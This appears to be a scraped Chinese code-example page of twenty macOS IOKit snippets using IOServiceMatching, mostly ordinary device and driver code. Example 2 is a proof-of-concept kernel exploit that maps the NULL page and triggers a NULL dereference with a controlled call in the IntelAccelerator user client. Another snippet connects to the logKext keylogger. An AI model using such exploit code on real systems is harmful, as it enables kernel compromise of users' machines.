• 设为首页
  • 点击收藏
  • 手机版
    手机扫一扫访问
    迪恩网络手机版
  • 关注官方公众号
    微信扫一扫关注
    公众号

C++ IOServiceMatching函数代码示例

原作者: [db:作者] 来自: [db:来源] 收藏 邀请

本文整理汇总了C++中IOServiceMatching函数的典型用法代码示例。如果您正苦于以下问题:C++ IOServiceMatching函数的具体用法?C++ IOServiceMatching怎么用?C++ IOServiceMatching使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。



在下文中一共展示了IOServiceMatching函数的20个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于我们的系统推荐出更棒的C++代码示例。

示例1: getPstateInterval

int getPstateInterval(){
	int interval = 200; // default
	io_service_t	IOService  = IOServiceGetMatchingService(0, IOServiceMatching(SERVICE_NAME));
	if ( IOService ){
		CFDictionaryRef CDictionary = (CFDictionaryRef) IORegistryEntryCreateCFProperty(IOService,					
				CFSTR("Characteristics"),kCFAllocatorDefault,0);
		if(CDictionary){
			int n = GetNumber(CFSTR("TimerInterval"), CDictionary);
			if(n)
				interval = n;
		}
		CFRelease(CDictionary);
	}
	return interval;
}
开发者ID:andyvand,项目名称:Intel-OS-X-LAN-Driver,代码行数:15,代码来源:KextIntf.c


示例2: main

int main(){
  // re map the null page rw

  vm_deallocate(mach_task_self(), 0x0, 0x1000);
  vm_address_t addr = 0;
  vm_allocate(mach_task_self(), &addr, 0x1000, 0);
  char* np = 0;
  for (int i = 0; i < 0x1000; i++){
    np[i] = 'A';
  }

  kern_return_t err;
  CFMutableDictionaryRef matching = IOServiceMatching("IntelAccelerator");
  if (!matching){
    printf("unable to create matching dictionary\n");
    return 0;
  }

  io_service_t ia_service = IOServiceGetMatchingService(kIOMasterPortDefault, matching);
  if (ia_service == MACH_PORT_NULL){
    printf("unable to get matching service\n");
    return 0;
  }

  io_connect_t conn = MACH_PORT_NULL;
  err = IOServiceOpen(ia_service, mach_task_self(), 0x100, &conn);
  if (err != KERN_SUCCESS){
    printf("unable to open user client\n");
    return 0;
  }

  void* token_buf;
  size_t token_buf_size = 0;

  // kernel NULL deref here in IOAccelContext2::clientMemoryForType
  // mov rdi, [r12+1D8h]      ; rdi := NULL
  // mov rax, [rdi]           ; read vtable pointer from NULL
  // call qword ptr [rax+20h] ; controlled call
  err = IOConnectMapMemory(conn, 0, mach_task_self(), &token_buf, &token_buf_size, 1);
  if (err != KERN_SUCCESS){
    printf("unable to map token buffer\n");
    return 0;
  }

  printf("got token buffer: 0x%p size:0x%x\n", token_buf, token_buf_size);

  return 0;
}
开发者ID:ik2ploit,项目名称:OSX_vul,代码行数:48,代码来源:ig_video_main_map_memory_NULL.c


示例3: find_cd_block_devices

static int find_cd_block_devices(io_iterator_t *device_iterator)
{
	mach_port_t master_port;
	CFMutableDictionaryRef matching_dictionary;

	if (IOMasterPort(MACH_PORT_NULL, &master_port) != KERN_SUCCESS)
		return 0;

	matching_dictionary = IOServiceMatching(kIOCDBlockStorageDeviceClass);

	if (IOServiceGetMatchingServices(master_port, matching_dictionary,
					 device_iterator) != KERN_SUCCESS)
		return 0;
	else
		return 1;
}
开发者ID:Zastai,项目名称:libdiscid,代码行数:16,代码来源:disc_darwin.c


示例4: KBLStartLightService

/* This function performs initialization work to ensure that the connection to
 * the service performing keyboard LED modifications is open. It modifies the
 * io_connect_t connect used throughout the implementation.
 *
 *  UPDATE
 * Renamed by Flávio Caetano in 2015-06-24
 */
void KBLStartLightService() {
  if (conn != 0) return;
    
  kern_return_t kr;
  io_service_t serviceObject;

  // Find a service object for the controller.
  serviceObject = IOServiceGetMatchingService(kIOMasterPortDefault,
    IOServiceMatching("AppleLMUController"));

  // Check a matching service object was found
  if (!serviceObject) {
    fprintf(stderr, "Failed to find service matching \"AppleLMUController\".\
        Ending program.");
    exit(1);
  }
开发者ID:fjcaetano,项目名称:WizardKeys,代码行数:23,代码来源:KBLKeyboardBacklightService.c


示例5: FindModems

static kern_return_t FindModems(io_iterator_t *matchingServices)
{
    kern_return_t     kernResult; 
    CFMutableDictionaryRef  classesToMatch;
    classesToMatch = IOServiceMatching(kIOSerialBSDServiceValue);
    if (classesToMatch != NULL)
    {
        CFDictionarySetValue(classesToMatch,
                             CFSTR(kIOSerialBSDTypeKey),
                             CFSTR(kIOSerialBSDAllTypes));
    }
    
    kernResult = IOServiceGetMatchingServices(kIOMasterPortDefault, classesToMatch, matchingServices);    
    
    return kernResult;
}
开发者ID:RoboManipal,项目名称:MTSU_Lunabotics,代码行数:16,代码来源:serialport_unix.cpp


示例6: applydict

int applydict(CFMutableDictionaryRef dict) {
    int ret = 1;

    io_service_t nvram = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IODTNVRAM"));
    if(!MACH_PORT_VALID(nvram)) {
        ERROR("Failed to get IODTNVRAM service");
    } else {
        kern_return_t kret = IORegistryEntrySetCFProperties(nvram, dict);
        DEBUG("IORegistryEntrySetCFProperties: 0x%x (%s)\n", kret, mach_error_string(kret));
        if(kret == KERN_SUCCESS) {
            ret = 0;
        }
    }

    return ret;
}
开发者ID:wh33t01,项目名称:noncereboot1131UI,代码行数:16,代码来源:nonce.c


示例7: execute_command

static UInt32 execute_command(UInt32 command, UInt32 vendorId, UInt32 codecAddress, UInt32 functionGroup)
{
    io_connect_t dataPort;
    
    CFMutableDictionaryRef dict = IOServiceMatching("CodecCommander");

    //REVIEW_REHABMAN: These extra filters don't work anyway...
    //CFNumberRef vendorIdRef = CFNumberCreate(kCFAllocatorDefault, kCFNumberIntType, &vendorId);
    //CFDictionarySetValue(dict, CFSTR("IOHDACodecVendorID"), vendorIdRef);
    
    //CFNumberRef codecAddressRef = CFNumberCreate(kCFAllocatorDefault, kCFNumberIntType, &codecAddress);
    //CFDictionarySetValue(dict, CFSTR("IOHDACodecAddress"), codecAddressRef);
    
    //CFNumberRef functionGroupRef = CFNumberCreate(kCFAllocatorDefault, kCFNumberIntType, &functionGroup);
    //CFDictionarySetValue(dict, CFSTR("IOHDACodecFunctionGroupType"), functionGroupRef);
    
    io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, dict);
    
    if (!service)
    {
        printf("Could not locate CodecCommander kext, ensure it is loaded.\n");
        return -1;
    }
    
    // Create a connection to the IOService object
    kern_return_t kr = IOServiceOpen(service, mach_task_self(), 0, &dataPort);
    
    IOObjectRelease(service);
    
    if (kr != kIOReturnSuccess)
    {
        printf("Failed to open CodecCommander service: %08x.\n", kr);
        return -1;
    }
    
    IOItemCount inputCount = 1;
    IOItemCount outputCount = 1;
    UInt64 input = command;
    UInt64 output;
    
    kr = IOConnectCallScalarMethod(dataPort, 0, &input, inputCount, &output, &outputCount);
    
    if (kr != kIOReturnSuccess)
        return -1;
    
    return (UInt32)output;
}
开发者ID:CoBrA2168,项目名称:EAPD-Codec-Commander,代码行数:47,代码来源:main.c


示例8: scanbus

// Scan the FW bus and enumerate the devices
static VALUE scanbus()
{
  VALUE ret = rb_ary_new();
  
  mach_port_t master_port;
  io_iterator_t iterator;
  kern_return_t result = IOMasterPort(MACH_PORT_NULL, &master_port);
  CFMutableDictionaryRef matchingDictionary = IOServiceMatching("IOFireWireDevice");
  result = IOServiceGetMatchingServices(master_port, matchingDictionary, &iterator);
  
  io_object_t device;
  while((device = IOIteratorNext(iterator)))
  {
    CFNumberRef guidRef = IORegistryEntryCreateCFProperty(device, CFSTR("GUID"), NULL, 0);
    CFStringRef vendornameRef = IORegistryEntryCreateCFProperty(device, CFSTR("FireWire Vendor Name"), NULL, 0);
    CFNumberRef speedRef = IORegistryEntryCreateCFProperty(device, CFSTR("FireWire Speed"), NULL, 0);
    CFNumberRef nodeidRef = IORegistryEntryCreateCFProperty(device, CFSTR("FireWire Node ID"), NULL, 0);
    CFNumberRef vendoridRef = IORegistryEntryCreateCFProperty(device, CFSTR("Vendor_ID"), NULL, 0);

    CFIndex vendorname_len = CFStringGetLength(vendornameRef);
    char *vendorname = (char*)malloc(vendorname_len + 1);
    memset(vendorname, 0, vendorname_len);
    long long guid;
    SInt32 speed, vendorid, nodeid;
    if(guidRef
      && CFNumberGetValue(guidRef, kCFNumberLongLongType, &guid)
      && vendornameRef
      && CFStringGetCString(vendornameRef, vendorname, vendorname_len + 1, kCFStringEncodingMacRoman)
      && speedRef
      && CFNumberGetValue(speedRef, kCFNumberSInt32Type, &speed)
      && nodeidRef
      && CFNumberGetValue(nodeidRef, kCFNumberSInt32Type, &nodeid)
      && vendoridRef
      && CFNumberGetValue(vendoridRef, kCFNumberSInt32Type, &vendorid)
      )
    {
      VALUE fwdevice = FWDevice_new(device, guid, vendorname, vendorid, nodeid, speed);
      rb_ary_push(ret, fwdevice);
      CFRelease(guidRef);
      CFRelease(vendornameRef);
      CFRelease(speedRef);
      CFRelease(nodeidRef);
      CFRelease(vendoridRef);
    }
  }
  return ret;
}
开发者ID:iZsh,项目名称:rubyfw,代码行数:48,代码来源:fwext.c


示例9: iokit_find_service_matching

static int iokit_find_service_matching (MMCDEV *mmc, io_service_t *servp) {
    CFMutableDictionaryRef matchingDict = IOServiceMatching("IOBDServices");
    io_iterator_t deviceIterator;
    io_service_t service;
    int rc;

    assert (NULL != servp);

    *servp = 0;

    if (!matchingDict) {
        BD_DEBUG(DBG_MMC, "Could not create a matching dictionary for IOBDServices\n");
        return -1;
    }

    /* this call consumes the reference to the matchingDict. we do not need to release it */
    rc = IOServiceGetMatchingServices(kIOMasterPortDefault, matchingDict, &deviceIterator);
    if (kIOReturnSuccess != rc) {
        BD_DEBUG(DBG_MMC, "Could not create device iterator\n");
        return -1;
    }

    while (0 != (service = IOIteratorNext (deviceIterator))) {
        CFStringRef data;
        char name[128] = "";

        data = IORegistryEntrySearchCFProperty (service, kIOServicePlane, CFSTR("BSD Name"),
                                                kCFAllocatorDefault, kIORegistryIterateRecursively);

        if (NULL != data) {
            rc = CFStringGetCString (data, name, sizeof (name), kCFStringEncodingASCII);
            CFRelease (data);
            if (0 == strcmp (name, mmc->bsd_name)) {
                break;
            }
        }

        (void) IOObjectRelease (service);
    }

    IOObjectRelease (deviceIterator);

    *servp = service;

    return (service) ? 0 : -1;
}
开发者ID:ffmpeg-build-win,项目名称:libaacs,代码行数:46,代码来源:mmc_device_darwin.c


示例10: CFRunLoopGetCurrent

static void *media_poll_func(void *)
{
	media_poll_loop = CFRunLoopGetCurrent();

	mach_port_t masterPort;
	kern_return_t kernResult = IOMasterPort(bootstrap_port, &masterPort);
	if (kernResult != KERN_SUCCESS) {
		fprintf(stderr, "IOMasterPort() returned %d\n", kernResult);
		return NULL;
	}

	CFMutableDictionaryRef matchingDictionary = IOServiceMatching(kIOCDMediaClass);
	if (matchingDictionary == NULL) {
		fprintf(stderr, "IOServiceMatching() returned a NULL dictionary\n");
		return NULL;
	}
	matchingDictionary = (CFMutableDictionaryRef)CFRetain(matchingDictionary);

	IONotificationPortRef notificationPort = IONotificationPortCreate(kIOMasterPortDefault);
	CFRunLoopAddSource(media_poll_loop,
					   IONotificationPortGetRunLoopSource(notificationPort),
					   kCFRunLoopDefaultMode);

	io_iterator_t mediaArrivedIterator;
	kernResult = IOServiceAddMatchingNotification(notificationPort,
												  kIOMatchedNotification,
												  matchingDictionary,
												  (IOServiceMatchingCallback)media_arrived,
												  (void *)MEDIA_CD, &mediaArrivedIterator);
	if (kernResult != KERN_SUCCESS)
		fprintf(stderr, "IOServiceAddMatchingNotification() returned %d\n", kernResult);
	media_arrived(MEDIA_CD, mediaArrivedIterator);

	io_iterator_t mediaRemovedIterator;
	kernResult = IOServiceAddMatchingNotification(notificationPort,
												  kIOTerminatedNotification,
												  matchingDictionary,
												  (IOServiceMatchingCallback)media_removed,
												  (void *)MEDIA_CD, &mediaRemovedIterator);
	if (kernResult != KERN_SUCCESS)
		fprintf(stderr, "IOServiceAddMatchingNotification() returned %d\n", kernResult);
	media_removed(MEDIA_CD, mediaRemovedIterator);

	CFRunLoopRun();
	return NULL;
}
开发者ID:Klozz,项目名称:iwidarwin,代码行数:46,代码来源:sys_darwin.cpp


示例11: hook_get_pointer_sensitivity

UIOHOOK_API long int hook_get_pointer_sensitivity() {
	#ifdef USE_IOKIT
	bool successful = false;
	double sensitivity;
	#endif

	long int value = -1;

	#ifdef USE_IOKIT
	if (!successful) {
		io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching(kIOHIDSystemClass));

		if (service) {
			kern_return_t kren_ret = kIOReturnError;
			io_connect_t connection;

			kren_ret = IOServiceOpen(service, mach_task_self(), kIOHIDParamConnectType, &connection);
			if (kren_ret == kIOReturnSuccess) {
				// IOByteCount size = sizeof(multiplier);

				kren_ret = IOHIDGetAccelerationWithKey(connection, CFSTR(kIOHIDMouseAccelerationType), &sensitivity);
				if (kren_ret == kIOReturnSuccess) {
					// Calculate the greatest common factor.

					unsigned long denominator = 1000000, d = denominator;
					unsigned long numerator = sensitivity * denominator, gcf = numerator;

					while (d != 0) {
						unsigned long i = gcf % d;
						gcf = d;
						d = i;
					}

					value = numerator / gcf;
					successful = true;

					logger(LOG_LEVEL_INFO,	"%s [%u]: IOHIDGetAccelerationWithKey: %li.\n",
							__FUNCTION__, __LINE__, value);
				}
			}
		}
	}
	#endif

	return value;
}
开发者ID:stak,项目名称:libuiohook,代码行数:46,代码来源:system_properties.c


示例12: CreateMatchingDictionaryForOldMethod

void CreateMatchingDictionaryForOldMethod(SInt32 peripheralDeviceType, CFMutableDictionaryRef *matchingDict)
{
    SInt32		deviceTypeNumber = peripheralDeviceType;
    CFNumberRef	deviceTypeRef = NULL;
    
    // Set up a matching dictionary to search the I/O Registry by class name for
    // all subclasses of IOSCSIDevice.
    *matchingDict = IOServiceMatching(kIOSCSIDeviceClassName);

    if (*matchingDict != NULL)
    {
        // Add key for device type to refine the matching dictionary. 
        // First create a CFNumber to store in the dictionary.
        deviceTypeRef = CFNumberCreate(kCFAllocatorDefault, kCFNumberIntType, &deviceTypeNumber);
        CFDictionarySetValue(*matchingDict, CFSTR(kSCSIPropertyDeviceTypeID), deviceTypeRef);
    }
}
开发者ID:fruitsamples,项目名称:SCSIOldAndNew,代码行数:17,代码来源:OldMethod.c


示例13: refresh_disks

int
refresh_disks(struct diskstats *stats, pmdaIndom *indom)
{
    io_registry_entry_t		drive;
    CFMutableDictionaryRef	match;
    int				i, status;
    static int			inited = 0;
    static mach_port_t		mach_master_port;
    static io_iterator_t	mach_device_list;

    if (!inited) {
	/* Get ports and services for device statistics. */
	if (IOMasterPort(bootstrap_port, &mach_master_port)) {
	    fprintf(stderr, "%s: IOMasterPort error\n", __FUNCTION__);
	    return -oserror();
	}
	memset(stats, 0, sizeof(struct diskstats));
	inited = 1;
    }

    /* Get an interator for IOMedia objects (drives). */
    match = IOServiceMatching("IOMedia");
    CFDictionaryAddValue(match, CFSTR(kIOMediaWholeKey), kCFBooleanTrue);
    status = IOServiceGetMatchingServices(mach_master_port,
						match, &mach_device_list);
    if (status != KERN_SUCCESS) {
	    fprintf(stderr, "%s: IOServiceGetMatchingServices error\n",
			__FUNCTION__);
	    return -oserror();
    }

    indom->it_numinst = 0;
    clear_disk_totals(stats);
    for (i = 0; (drive = IOIteratorNext(mach_device_list)) != 0; i++) {
	status = update_disk(stats, drive, i);
	if (status)
		break;
	IOObjectRelease(drive);
    }
    IOIteratorReset(mach_device_list);

    if (!status)
	status = update_disk_indom(stats, i, indom);
    return status;
}
开发者ID:goodwinos,项目名称:pcp,代码行数:45,代码来源:disk.c


示例14: ambient_light_range

SCM ambient_light_range(SCM lower_bound, SCM upper_bound)
{
	io_connect_t ioPort;
	int leftLight, rightLight;
	
	io_service_t serviceObject = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("AppleLMUController"));
	
	if (serviceObject)
	{
		IOServiceOpen(serviceObject, mach_task_self(), 0, &ioPort);
		IOObjectRelease(serviceObject);
	}
	
	IOConnectMethodScalarIScalarO(ioPort, 0, 0, 2, &leftLight, &rightLight);
	
	return scm_from_int(((leftLight+rightLight)/4096.0 > scm_to_double(lower_bound)) && 
						((leftLight+rightLight)/4096.0 < scm_to_double(upper_bound)));
}
开发者ID:dohoang1102,项目名称:carmen,代码行数:18,代码来源:guiletest.c


示例15: subDictionary

io_object_t HIDDevice::findHIDDeviceByName ( const char* targetDeviceName )
{
	CFMutableDictionaryRef subDictionary (
		CFDictionaryCreateMutable ( kCFAllocatorDefault, 0,
                                    &kCFTypeDictionaryKeyCallBacks,
                                    &kCFTypeDictionaryValueCallBacks ) ) ;
	CFStringRef targetDeviceNameValue (
		CFStringCreateWithCString (	kCFAllocatorDefault, targetDeviceName, kCFStringEncodingASCII ) ) ;
	CFDictionarySetValue ( subDictionary, CFSTR ( kIOHIDProductKey ), targetDeviceNameValue ) ;
	
	CFMutableDictionaryRef matchingDictionary ( IOServiceMatching ( kIOHIDDeviceKey ) ) ;
	CFDictionarySetValue ( matchingDictionary, CFSTR ( kIOPropertyMatchKey ), subDictionary ) ;

	CFRelease ( targetDeviceNameValue ) ;
	CFRelease ( subDictionary ) ;
	
	return IOServiceGetMatchingService ( kIOMasterPortDefault, matchingDictionary ) ;
}
开发者ID:Doc-Ok,项目名称:OpticalTracking,代码行数:18,代码来源:HIDDevice.cpp


示例16: find_service

bool find_service(const char *target_name, io_connect_t *ptarget_port) {
  io_iterator_t iter;
  kern_return_t r =
    IOServiceGetMatchingServices(kIOMasterPortDefault,
				 IOServiceMatching("IOService"), &iter);

  if (r != KERN_SUCCESS) {
    fprintf(stderr, " [!] IOServiceGetMatchingServices() failed\n");
    return -1;
  }

  io_object_t service;
  while ((service = IOIteratorNext(iter)) != IO_OBJECT_NULL) {
    /* Get service name */
    io_name_t name;
    r = IORegistryEntryGetName(service, name);
    if (r != KERN_SUCCESS) {
      fprintf(stderr, " [!] IORegistryEntryGetName() failed\n");
      IOObjectRelease(service);
      continue;
    }

    io_string_t path;
    r = IORegistryEntryGetPath(service, "IOService", path);

    /* Try to open service */
    io_connect_t port = (io_connect_t) 0;
    r = IOServiceOpen(service, mach_task_self(), 0, &port);
    IOObjectRelease(service);
    if (r != kIOReturnSuccess) {
      continue;
    }

    if (strstr(name, target_name)) {
      printf(" [+] Found service %s\n", name);
      *ptarget_port = port;
      return true;
    }

    IOServiceClose(port);
  }

  return false;
}
开发者ID:Binni97,项目名称:advisories,代码行数:44,代码来源:AppleMCCS-leak.c


示例17: PrintSMARTDataForAllDrives

static IOReturn
PrintSMARTDataForAllDrives ( void )
{

    IOReturn error           = kIOReturnSuccess;
    io_iterator_t iter            = MACH_PORT_NULL;
    io_object_t ataDevice       = MACH_PORT_NULL;
    bool foundOne        = false;

    error = IOServiceGetMatchingServices (  kIOMasterPortDefault,
        IOServiceMatching ( kIOATABlockStorageDeviceClass ),
        &iter );

    if ( error == kIOReturnSuccess )
    {
        ataDevice = IOIteratorNext ( iter );

        while ( ataDevice != MACH_PORT_NULL )
        {

            error = PrintSMARTDataForDevice ( ataDevice );
            IOObjectRelease ( ataDevice );
            ataDevice = IOIteratorNext ( iter );

            if ( foundOne == false )
                foundOne = true;

        }

        IOObjectRelease ( iter );
        iter = 0;

    }

    if ( foundOne == false )
    {

        printf ( "No ATA devices found\n" );

    }

    return error;

}
开发者ID:hnravichandra,项目名称:OS-X-SAT-SMART-Driver,代码行数:44,代码来源:ATASMARTSample.c


示例18: idleTime

long idleTime() {
    long idlesecs;
#ifdef LINUX
    bool _idleDetectionPossible;
    XScreenSaverInfo *_mit_info;

    int event_base, error_base;
    if(XScreenSaverQueryExtension(QX11Info::display(), &event_base, &error_base))
        _idleDetectionPossible = true;
    else
        _idleDetectionPossible = false;
    _mit_info = XScreenSaverAllocInfo();

    XScreenSaverQueryInfo(QX11Info::display(), QX11Info::appRootWindow(), _mit_info);

    idlesecs = (_mit_info->idle/1000);

#endif
#ifdef WINDOWS

    LASTINPUTINFO lif;
    lif.cbSize = sizeof(LASTINPUTINFO);
    GetLastInputInfo(&lif);
    DWORD tickCount = GetTickCount();
    idlesecs = (tickCount - lif.dwTime) / 1000;

#endif
#ifdef MAC
    idlesecs = -1;//int64_t
    io_iterator_t iter = 0;
    if (IOServiceGetMatchingServices(kIOMasterPortDefault, IOServiceMatching("IOHIDSystem"), &iter) == KERN_SUCCESS) {
        io_registry_entry_t entry = IOIteratorNext(iter);
        if (entry) {
            CFMutableDictionaryRef dict = NULL;
            if (IORegistryEntryCreateCFProperties(entry, &dict, kCFAllocatorDefault, 0) == KERN_SUCCESS) {
                CFNumberRef obj = (CFNumberRef)CFDictionaryGetValue(dict, CFSTR("HIDIdleTime"));
                if (obj) {
                    int64_t nanoseconds = 0;
                    if (CFNumberGetValue(obj, kCFNumberSInt64Type, &nanoseconds)) {
                        idlesecs = (nanoseconds >> 30); // Divide by 10^9 to convert from nanoseconds to seconds.
                    }
                }
                CFRelease(dict);
            }
开发者ID:crossleyjuan,项目名称:djon,代码行数:44,代码来源:util.cpp


示例19: connectToKext

bool connectToKext()
{
    mach_port_t		masterPort;
    io_service_t	serviceObject = 0;
    io_iterator_t 	iterator;
    CFDictionaryRef	classToMatch;
	Boolean			result = true;	// assume success
    
    // return the mach port used to initiate communication with IOKit
    if (IOMasterPort(MACH_PORT_NULL, &masterPort) != KERN_SUCCESS)
		return false;
    
    classToMatch = IOServiceMatching( "com_fsb_iokit_logKext" );
    if (!classToMatch)
		return false;

    // create an io_iterator_t of all instances of our driver's class that exist in the IORegistry
    if (IOServiceGetMatchingServices(masterPort, classToMatch, &iterator) != KERN_SUCCESS)
		return false;
			    
    // get the first item in the iterator.
    serviceObject = IOIteratorNext(iterator);
    
    // release the io_iterator_t now that we're done with it.
    IOObjectRelease(iterator);
    
    if (!serviceObject){
		result = false;
		goto bail;
    }
	
	// instantiate the user client
	if(IOServiceOpen(serviceObject, mach_task_self(), 0, &userClient) != KERN_SUCCESS) {
		result = false;
		goto bail;
    }
	
bail:
	if (serviceObject) {
		IOObjectRelease(serviceObject);
	}
	
    return result;
}
开发者ID:ChaseJohnson,项目名称:LogKext,代码行数:44,代码来源:logKextDaemon.cpp


示例20: IOServiceMatching

bool DarwinSMBIOSParser::discover() {
    auto matching = IOServiceMatching(kIOSMBIOSClassName_);
    if (matching == nullptr) {
        // No ACPI platform expert service found.
        return false;
    }

    auto service = IOServiceGetMatchingService(kIOMasterPortDefault, matching);
    if (service == 0) {
        return false;
    }

    // Unlike ACPI the SMBIOS property will return several structures
    // followed by a table of structured entries (also called tables).
    // http://dmtf.org/sites/default/files/standards/documents/DSP0134_2.8.0.pdf
    CFTypeRef smbios = IORegistryEntryCreateCFProperty(
                           service, CFSTR(kIOSMBIOSPropertyName_), kCFAllocatorDefault, 0);
    if (smbios == nullptr) {
        IOObjectRelease(service);
        return false;
    }

    // Check the first few SMBIOS structures before iterating through tables.
    const uint8_t* smbios_data = CFDataGetBytePtr((CFDataRef)smbios);
    size_t length = CFDataGetLength((CFDataRef)smbios);

    if (smbios_data == nullptr || length == 0) {
        // Problem creating SMBIOS property.
        CFRelease(smbios);
        IOObjectRelease(service);
        return false;
    }

    smbios_data_ = (uint8_t*)malloc(length);
    if (smbios_data_ != nullptr) {
        memcpy(smbios_data_, smbios_data, length);
    }
    IOObjectRelease(service);
    CFRelease(smbios);

    // The property and service exist.
    setData(const_cast<uint8_t*>(smbios_data_), length);
    return (smbios_data_ != nullptr);
}
开发者ID:pkdevboxy,项目名称:osquery,代码行数:44,代码来源:smbios_tables.cpp



注:本文中的IOServiceMatching函数示例由纯净天空整理自Github/MSDocs等源码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。


鲜花

握手

雷人

路过

鸡蛋
该文章已有0人参与评论

请发表评论

全部评论

专题导读
上一篇:
C++ IOServiceOpen函数代码示例发布时间:2022-05-30
下一篇:
C++ IOServiceGetMatchingServices函数代码示例发布时间:2022-05-30
热门推荐
阅读排行榜

扫描微信二维码

查看手机版网站

随时了解更新最新资讯

139-2527-9053

在线客服(服务时间 9:00~18:00)

在线QQ客服
地址:深圳市南山区西丽大学城创智工业园
电邮:jeky_zhao#qq.com
移动电话:139-2527-9053

Powered by 互联科技 X3.4© 2001-2213 极客世界.|Sitemap